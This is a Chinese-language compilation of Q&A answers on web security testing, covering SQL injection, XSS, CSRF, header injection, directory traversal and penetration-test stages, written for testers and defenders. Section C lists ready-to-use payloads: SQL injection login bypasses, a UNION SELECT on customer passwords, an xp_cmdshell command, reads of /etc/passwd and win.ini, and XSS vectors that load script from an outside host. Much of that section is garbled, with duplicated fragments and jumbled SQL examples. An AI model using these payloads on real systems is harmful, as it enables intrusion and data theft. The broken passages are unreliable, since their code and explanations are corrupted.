A. 如何進行WEB安全性測試
安全性測試
產品滿足需求提及的安全能力
n 應用程序級別的安全性，包括對數據或業務功能的訪問，應
用程序級別的安全性可確保：在預期的安全性情況下，主角
只能訪問特定的功能或用例，或者只能訪問有限的數據。例
如，可能會允許所有人輸入數據，創建新賬戶，但只有管理
員才能刪除這些數據或賬戶。如果具有數據級別的安全性，
測試就可確保「用戶類型一」 能夠看到所有客戶消息（包括
財務數據），而「用戶二」只能看見同一客戶的統計數據。
n 系統級別的安全性，包括對系統的登錄或遠程訪問。
系統級別的安全性可確保只有具備系統訪問許可權的用戶才能
訪問應用程序，而且只能通過相應的網關來訪問。
安全性測試應用
防sql漏洞掃描
– Appscan
n防XSS、防釣魚
– RatProxy、Taint、Netsparker
nget、post -> 防止關鍵信息顯式提交
– get：顯式提交
– post：隱式提交
ncookie、session
– Cookie欺騙
B. web安全測試主要有哪些漏洞
以下類型的安全漏洞
權控缺失
系統未能正確分配用戶的許可權枝鏈蘆，用戶能執行超出自己職能范圍的操作，這類漏洞稱為權控猛帶缺失。權控缺失分為兩類：平行越權、垂直越權。
邏輯漏洞
邏輯漏洞通常是由於程序邏輯不嚴密或邏輯太復雜,導致一些邏輯分支被繞過或處理錯誤。常見漏洞包括:任意密碼修改(沒有舊密碼驗證)、密碼找回漏洞、業務數據篡改等。邏輯漏洞的出現易造成賬號被盜、免費購物,游戲應用易造成刷錢、刷游戲幣等嚴重問題。
條件競爭
服務端在做並發編程時，需要考慮到條件競爭的情況。在多個並發線程同時訪問同一資源時，由於對請求的處理不是原子性的，無法預測調度的順序，就可能由於時間序列上的沖突而造成對共享資源的操作混亂。
XSS跨站腳本攻擊
是指惡意攻擊者利用網站沒有對用戶提交數據進行轉義處理或者過濾不足的缺點，提交的數據被WEB應用程序直接使用，使別的喚拿用戶訪問都會執行相應的嵌入代碼。從而盜取用戶資料、利用用戶身份進行某種動作或者對訪問者進行病毒侵害的一種攻擊方式。
C. 如何進行WEB安全性測試
安全性測試主要從以下方面考慮 主要從以下方面考慮： WEB 的安全性測試主要從以下方面考慮： Injection(SQL 注入) 1.SQL Injection(SQL 注入) (1)如何進行 SQL 注入測試? 首先找到帶有參數傳遞的 URL 頁面,如 搜索頁面,登錄頁面,提交評論頁面等等. 注 1:對 於未明顯標識在 URL 中傳遞參數的,可以通過查看 HTML 源代碼中的 "FORM"標簽來辨別是否還有參數傳遞.在<FORM> 和</FORM>的標簽中間的每一個 參數傳遞都有可能被利用. <form id="form_search" action="/search/" method="get"> <div> <input type="text" name="q" id="search_q" value="" /> <input name="search" type="image" src="/media/images/site/search_btn.gif" /> <a href="/search/" class="fl">Gamefinder</a> </div> </form> 注 2:當你找不到有輸入行為的頁面時,可以嘗試找一些帶有某些參數的特殊的 URL,如 http://DOMAIN/INDEX.ASP?ID=10 其 次,在 URL 參數或表單中加入某些特殊的 SQL 語句或 SQL 片斷,如在登 錄頁面的 URL 中輸入 http://DOMAIN /INDEX.ASP?USERNAME=HI' OR 1=1-注 1：根據實際情況,SQL 注入請求可以使用以下語句: ' or 1=1- " or 1=1- or 1=1- ' or 'a'='a " or "a"="a ') or ('a'='a 注 2：為什麼是 OR， 以及',――是特殊的字元呢？ 例子：在登錄時進行身份驗證時，通常使用如下語句來進行驗證：sql=select * from user where username='username' and pwd='password' 如 輸入 http://ck/index.asp?username=admin' admin' or 1='1&pwd=11，SQL 語句會變成以下：sql=select 11 1='1 username='admin' or 1='1 and password='11 admin' 1='1' 11' 11 * from user where ' 與 admin 前面的'組成了一個查詢條件,即 username='admin',接下來的語句將 按下一個查詢條件來執行. 接 下來是 OR 查詢條件,OR 是一個邏輯運 算符， 在判斷多個條件的時候， 只要一 個成立，則等式就成立，後面的 AND 就不再時行判斷了，也就是 說我們繞過了密碼 驗證，我們只用用戶名就可以登錄. 如 輸入 http://ck/index.asp?username=admin'--&pwd=11，SQL 語 admin'-admin'-11 句會 變成以下 sql=select * from user where name='admin' -- and pasword='11', admin' --' 1 '與 admin 前面的'組成了一個查 詢條件,即 username='admin',接下來的語句將按 下一個查詢條件來執行 接下來是"--"查詢條件,「--」是忽略或注釋,上 述通過連接符注釋掉後面的密碼驗 證(注:對 ACCESS 資料庫 資料庫無 效). 最後,驗證是否能入侵成功或是出錯的信息是否包含關於資料庫伺服器 的相關信息;如 果 能說明存在 SQL 安 全漏洞. 試想,如果網站存在 SQL 注入的危險,對於有經驗的惡意用戶還可能猜出資料庫表和表結 構,並對資料庫表進行增\刪\改的操 作,這樣造成的後果是非常嚴重的. (2)如何預防 SQL 注入? 從應用程序的角度來講,我們要做以下三項工作 工作: 工作 轉義敏感字元及字元串(SQL 的敏感字元包括 「exec」,」xp_」,」sp_」,」declare」,」Union」,」cmd」,」+」,」//」,」..」,」;」,」『」,」--」,」%」,」0x」,」><=!-*/()|」, 和」空格」). 屏蔽出錯信息：阻止攻擊者知道攻擊的結果 在服務端正式處理之前提交數據的合法性(合法性檢查主要包括三 項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客 戶端的輸入合法之前,服務端拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,在程序開發前(即需求階段),我們就應該有意識的將 安全性檢查應用到需求測試中,例如對一個表單需求進行檢查時,我們一般檢驗 以下幾項安全性問題: 需求中應說明表單中某一 FIELD 的類型,長度,以及取值范圍(主要作用就 是禁止輸入敏感字元) 需求中應說明如果超出表單規定的類型,長度,以及取值范圍的,應用程序 應給出不包含任何代碼或資料庫信息的錯誤提示. 當然在執行測試的過程中,我們也需求對上述兩項內容進行測試. 2.Crossscritping(XSS):(跨站點腳本攻擊 跨站點腳本攻擊) 2.Cross-site scritping(XSS):(跨站點腳本攻擊) (1)如何進行 XSS 測試? <!--[if !supportLists]-->首先,找到帶有參數傳遞的 URL,如 交評論,發表留言 頁面等等。 登錄頁面,搜索頁面,提 <!--[if !supportLists]-->其次,在頁面參數中輸入如下語句(如:Javascrīpt,VB scrīpt, HTML,ActiveX, Flash)來進行測試： <scrīpt>alert(document.cookie)</scrīpt> 注:其它的 XSS 測試語句 ><scrīpt>alert(document.cookie)</scrīpt> ='><scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(document.cookie)</scrīpt> <scrīpt>alert(vulnerable)</scrīpt> %3Cscrīpt%3Ealert('XSS')%3C/scrīpt%3E <scrīpt>alert('XSS')</scrīpt> <img src="javascrīpt:alert('XSS')"> %0a%0a<scrīpt>alert(\"Vulnerable\")</scrīpt>.jsp %22%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini %3c/a%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3c/title%3e%3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e %3cscrīpt%3ealert(%22xss%22)%3c/scrīpt%3e/index.html %3f.jsp %3f.jsp <scrīpt>alert('Vulnerable');</scrīpt> <scrīpt>alert('Vulnerable')</scrīpt> ?sql_debug=1 a%5c.aspx a.jsp/<scrīpt>alert('Vulnerable')</scrīpt> a/ a?<scrīpt>alert('Vulnerable')</scrīpt> "><scrīpt>alert('Vulnerable')</scrīpt> ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&& %22%3E%3Cscrīpt%3Ealert(document.cookie)%3C/scrīpt%3E %3Cscrīpt%3Ealert(document. domain);%3C/scrīpt%3E& %3Cscrīpt%3Ealert(document.domain);%3C/scrīpt%3E&SESSION_ID={SESSION_ID}&SESSION_ID= 1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname= ../../../../../../../../etc/passwd ..\..\..\..\..\..\..\..\windows\system.ini \..\..\..\..\..\..\..\..\windows\system.ini '';!--"<XSS>=&{()} <IMG SRC="javascrīpt:alert('XSS');"> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert("XSS")> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC=javascrīpt:alert('XSS')> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> <IMG SRC="jav ascrīpt:alert('XSS');"> "<IMG SRC=java\0scrīpt:alert(\"XSS\")>";' > out <IMG SRC=" javascrīpt:alert('XSS');"> <scrīpt>a=/XSS/alert(a.source)</scrīpt> <BODY BACKGROUND="javascrīpt:alert('XSS')"> <BODY ōNLOAD=alert('XSS')> <IMG DYNSRC="javascrīpt:alert('XSS')"> <IMG LOWSRC="javascrīpt:alert('XSS')"> <BGSOUND SRC="javascrīpt:alert('XSS');"> <br size="&{alert('XSS')}"> <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer> <LINK REL="stylesheet" HREF="javascrīpt:alert('XSS');"> <IMG SRC='vbscrīpt:msgbox("XSS")'> <IMG SRC="mocha:[code]"> <IMG SRC="livescrīpt:[code]"> <META HTTP-EQUIV="refresh" CONTENT="0;url=javascrīpt:alert('XSS');"> <IFRAME SRC=javascrīpt:alert('XSS')></IFRAME> <FRAMESET><FRAME SRC=javascrīpt:alert('XSS')></FRAME></FRAMESET> <TABLE BACKGROUND="javascrīpt:alert('XSS')"> <DIV STYLE="background-image: url(javascrīpt:alert('XSS'))"> <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');"> <DIV STYLE="width: expression(alert('XSS'));"> <IMG SRC=javascript:ale&#x <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE> <IMG STYLE='xss:expre\ssion(alert("XSS"))'> <STYLE TYPE="text/javascrīpt">alert('XSS');</STYLE> <STYLE type="text/css">BODY{background:url("javascrīpt:alert('XSS')")}</STYLE> <BASE HREF="javascrīpt:alert('XSS');//"> getURL("javascrīpt:alert('XSS')") a="get";b="URL";c="javascrīpt:";d="alert('XSS');";eval(a+b+c+d); <XML SRC="javascrīpt:alert('XSS');"> "> <BODY ōNLOAD="a();"><scrīpt>function a(){alert('XSS');}</scrīpt><" <scrīpt SRC="/Article/UploadFiles/200608/20060827171609376.jpg"></scrīpt> <IMG SRC="javascrīpt:alert('XSS')" <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode"> <scrīpt a=">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt =">" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt a=">" '' SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt "a='>'" SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <scrīpt>document.write("<SCRI");</scrīpt>PT SRC="http://xss.ha.ckers.org/a.js"></scrīpt> <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A> <STYLE TYPE="text/css">.XSS{background-image:url("javascrīpt:alert('XSS')");}</STYLE><A CLASS=XSS>< <!--#exec cmd="/bin/echo '<scrīpt SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></scrīp 最後,當用戶瀏覽 時便會彈出一個警告框，內容顯示的是瀏覽者當前的 cookie 串,這就 說明該網站存在 XSS 漏洞。 試想如果我們注入的不是以上這個簡單的測試代碼，而是一段經常精心設計的惡意腳 本，當用戶瀏覽此帖時，cookie 信息就可能成功的被 攻擊者獲取。此時瀏覽者的帳號 就很容易被攻擊者掌控了。 (2)如何預防 XSS 漏洞? 從應用程序的角度來講,要進行以下幾項預防: 對 Javascrīpt,VB scrīpt, HTML,ActiveX, Flash 等 語句或腳本進行轉義. 在 服務端正式處理之前提交數據的合法性(合法性檢查主要包括三項:數據類型,數據長度,敏感 字元的校驗)進行檢查等。最根本的解決手段,在確認客戶端的輸入合法之前,服務端 拒絕進行關 鍵性的處理操作. 從測試人員的角度來講,要從需求檢查和執行測試過程兩個階段來完成 XSS 檢查: 在需求檢查過程中對各輸入項或輸出項進行類型、長度以及取 值范圍進 行驗證，著重驗證是否對 HTML 或腳本代碼進行了轉義。 執行測試過程中也應對上述項進行檢查。 3.CSRF:(跨站點偽造請求) 3.CSRF:(跨站點偽造請求) CSRF:(跨站點偽造請求 CSRF 盡管聽起來像跨站腳本（XSS），但它與 XSS 非常不同，並且攻擊方式 幾乎相左。 XSS 是利用站點內的信任用戶，而 CSRF 則通過偽裝來自受信任用戶的請求 來利用受信任的網站。 XSS 也好， CSRF 也好， 它的目的在於竊取用戶的信息， SESSION 和 COOKIES 如 （關於 SESSION 和 COOKIES 的介紹請參見我的另一篇 BLOG： http://www.51testing.com/?49689/action_viewspace_itemid_74885.html）， (1)如何進行 CSRF 測試？ 關於這個主題本人也正在研究，目前主要通過安全性測試工具來進行檢查。 (2)如何預防 CSRF 漏洞？ 請參見 http://www.hanguofeng.cn/archives/security/preventing-csrf 請 參見 http://getahead.org/blog/joe/2007/01/01/csrf_attacks_or_how_to_ avoid_exposing_your_gmail_contacts.html Injection(郵件標頭注入 郵件標頭注入) 4.Email Header Injection(郵件標頭注入) Email Header Injection：如果表單用於發送 email,表單中可能包括 「subject」輸入項（郵件標題），我們要驗證 subject 中應能 escape 掉「\n」 標識。 <!--[if !supportLists]--><!--[endif]-->因為「\n」是新行，如果在 subject 中輸入「hello\ncc:[email protected]」，可能會形成以 下 Subject: hello cc: [email protected] <!--[if !supportLists]--><!--[endif]-->如果允許用戶使用這樣的 其它用 subject， 那他可能會給利用這個缺陷通過我們的平台給其它 戶發送垃 其它 圾郵件。 Traversal(目錄遍歷 目錄遍歷) 5.Directory Traversal(目錄遍歷) （1）如何進行目錄遍歷測試？ 目錄遍歷產生的原因是：程序中沒有過濾用戶輸入的「../」和「./」之 類的目錄跳轉符,導致惡意用戶可以通過提交目錄跳轉來遍歷伺服器上的 任意文件。 測試方法： URL 中輸入一定數量的 在 「../」 「./」 驗證系統是否 ESCAPE 和 ， 掉了這些目錄跳轉符。 （2）如何預防目錄遍歷？ 限制 Web 應用在伺服器上的運行 進 行嚴格的輸入驗證，控制用戶輸入非法路徑 messages(錯誤信息 錯誤信息) 6.exposed error messages(錯誤信息) （1）如何進行測試？ 首 先找到一些錯誤頁面，比如 404,或 500 頁面。 驗證在調試未開通過的情況下， 是否給出了友好的錯誤提示信息比如「你 訪問的頁面不存 在」等，而並非曝露一些程序代碼。 （2）如何預防？ 測試人員在進行需求檢查時，應該對出錯信息 進行詳細查，比如是否給 出了出錯信息，是否給出了正確的出錯信息。
D. web應用安全應該怎麼測試呢
用MicroFocus的Fortify來測試呀，它可以檢測出你的web裡面有沒有存在的漏洞，挺實用的。
E. Web安全測試的介紹
《Web安全測試》是清華大學出版社2010年3月1日出版的書籍，作者是霍普。講述在你對Web應用所執行的測試中，安全測試可能是最重要的，但它卻常常是最容易被忽略的。《Web安全測試》中的秘訣演示了開發和測試人員在進行單元測試、回歸測試或探索性測試的同時，如何去檢查最常見的Web安全問題。與即興的安全評估不同的是，這些秘訣是可重復的、簡潔的、系統的——可以完美地集成到你的常規測試套裝中。因此，本書對開發人員和測試人員具有重要的指導價值。
F. 如何進行Web滲透測試
什麼是滲透測試？
滲透測試，是滲透測試工程師完全模擬黑客可能使用的攻擊技術和漏洞發現技術，對目標網路、主機、應用的安全作深入的探測，發現系統最脆弱的環節。
如何進行Web滲透測試？
完整web滲透測試框架當需要測試的web應用數以千計，就有必要建立一套完整的安全測試框架，流程的最高目標是要保證交付給客戶的安全測試服務質量。
1、立項：項目建立，時間安排，人力分配，目標制定，廠商介面人確定；
系統分析&威脅分析：針對具體的web應用，分析系統架構、使用的組件、對外提供的介面等，以STRIDE為威脅模型進行對應的安全威脅分析，輸出安全威脅分析表，重點關注top3威脅；
制定測試用例：根據威脅分析的結果制定對應的測試用例，測試用例按照模板輸出，具備可執行性；
測試執行&漏洞挖掘：測試用例執行&發散測試，挖掘對應的安全問題or漏洞；
問題修復&回歸測試：指導客戶應用開發方修復安全問題or漏洞，並進行回歸測試，確保安全問題or漏洞得到修復，並且沒有引入新的安全問題；
項目總結評審：項目過程總結，輸出文檔評審，相關文檔歸檔。
2、Web應用的滲透測試流程
主要分為3個階段，分別是：信息收集→漏洞發現→漏洞利用，下面仔細分析一下各個階段流程：
一、信息收集
在信息收集階段，我們需要盡量多的收集關於目標web應用的各種信息，比如：腳本語言的類型、伺服器的類型、目錄的結構、使用的開源軟體、資料庫類型、所有鏈接頁面，用到的框架等
腳本語言的類型：常見的腳本語言的類型包括：php、asp、aspx、jsp等
測試方法：
1 爬取網站所有鏈接，查看後綴
2 直接訪問一個不存在頁面後面加不同的後綴測試
3 查看robots.txt，查看後綴
伺服器的類型：常見的web伺服器包括：apache、tomcat、IIS、ngnix等
測試方法：
1 查看header，判斷伺服器類型
2 根據報錯信息判斷
3 根據默認頁面判斷
目錄的結構：了解更多的目錄，可能發現更多的弱點，如：目錄瀏覽、代碼泄漏等。
測試方法
1 使用字典枚舉目錄
2 使用爬蟲爬取整個網站，或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
使用的開源軟體：我們如果知道了目標使用的開源軟體，我們可以查找相關的軟體的漏洞直接對網站進行測試。
測試方法
指紋識別（網路上有很多開源的指紋識別工具）
資料庫類型：對於不同的資料庫有不同的測試方法。
測試方法
1 使應用程序報錯，查看報錯信息
2 掃描伺服器的資料庫埠（沒做NAT且防火牆不過濾時有效）
所有鏈接頁面：這個跟前面的獲取目錄結構類似，但是這個不只是獲取網站的所有功能頁面，有時候還可以獲取到管理員備份的源碼。
測試方法
1 使用字典枚舉頁面
2 使用爬蟲爬取整個網站，或者使用google等搜索引擎獲取
3 查看robots.txt是否泄漏
用到的框架：很多網站都利用開源的框架來快速開發網站，所以收集網站的框架信息也是非常關鍵的。
測試方法
指紋識別（網路上有很多開源的指紋識別工具）
二、漏洞發現
在這個階段我們在做測試的時候要對症下葯，不能盲目的去掃描，首先要確定目標應用是否使用的是公開的開源軟體，開源框架等、然後在做深一度的漏洞掃描。
關於開源軟體的漏洞發現
開源的軟體：常見的開源軟體有wordpress、phpbb、dedecms等
開源的框架：常見的開源框架有Struts2、 Spring MVC、ThinkPHP等
中間件伺服器：常見的中間件伺服器有jboss、tomcat、Weblogic等
資料庫服務：常見的資料庫服務mssql、mysql、oracle、redis、sybase、MongoDB、DB2等
對於開源軟體的測試方法
1 通過指紋識別軟體判斷開源軟體的版本信息，針對不同的版本信息去開放的漏洞資料庫查找相應版本的漏洞進行測試
2 對於默認的後台登錄頁、資料庫服務埠認證等入口可以進行簡單的暴力破解、默認口令嘗試等操作
3 使用開源的漏洞發現工具對其進行漏洞掃描，如：WPScan
關於自主開發的應用
手動測試：這個階段，我們需要手工測試所有與用戶交互的功能，比如：留言、登入、下單、退出、退貨、付款等操作
軟體掃描：使用免費的軟體掃描，如：appscan、wvs、netsparker，burp等
可能存在的漏洞
Owasp關鍵點
代碼安全之上傳文件
代碼安全之文件包含
代碼安全之SSRF
邏輯漏洞之密碼重置
邏輯漏洞之支付漏洞
邏輯漏洞之越權訪問
平台安全之中間件安全
三、漏洞利用
針對不同的弱點有不同的漏洞利用方式，需要的知識點也比較多。一般這個階段包括兩種方式，一種是手工測試，一種是工具測試
手工測試
手工測試是通過客戶端或伺服器訪問目標服務，手工向目標程序發送特殊的數據，包括有效的和無效的輸入，觀察目標的狀態、對各種輸入的反應，根據結果來發現問題的漏洞檢測技術。手工測試不需要額外的輔助工具，可由測試者獨立完成，實現起來比較簡單。但這種方法高度依賴於測試者，需要測試者對目標比較了解。手工測試可用於Web應用程序、瀏覽器及其他需要用戶交互的程序。
這種方式對於有特殊過濾等操作，或者網路上沒有成型的利用工具的時候可以使用。
工具測試
網路上有很多好用的免費利用工具，比如針對sql注入的sqlmap、針對軟體漏洞的matesploit等。
G. web安全測試主要測試哪些內容
一個完整的Web安全體系測試可以從部署與基礎結構，輸入驗證，身份驗證，授權，配置管理配置管理配置管理配置管理，敏感數據，會話管理，加密，參數操作，異常管理，審核和日誌記錄等幾個方面入手
H. web安全測試一般包括哪些測試內容
一個完整的Web安全體系測試可以從部署與基礎結構，輸入驗證，身份驗證，授權，配置管理配置管理配置管理配置管理，敏感數據，會話管理，加密，參數操作，異常管理，審核和日誌記錄等幾個方面入手